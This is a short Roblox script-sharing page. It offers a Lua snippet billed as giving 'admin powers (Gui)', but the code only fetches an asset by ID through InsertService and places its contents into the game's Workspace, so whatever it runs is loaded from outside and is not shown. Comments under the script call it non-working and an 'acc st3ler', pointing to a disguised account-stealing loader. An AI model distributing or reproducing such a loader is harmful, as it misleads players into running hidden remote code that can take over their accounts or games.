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Description
Gives you admin powers (Gui)
local InsertService = game:GetService("InsertService")
local Workspace = game:GetService("Workspace")
local assetId = 78895317546665
local success, model = pcall(function()
return InsertService:LoadAsset(assetId)
end)
if success and model then
-- The loaded asset is a Model or Folder, parent its children to Workspace
for i, child in model:GetChildren() do
child.Parent = Workspace
end
model:Destroy() -- Clean up the container
else
warn("Failed to load model with asset ID:", assetId)
end










not working
this is ai btw
acc st3ler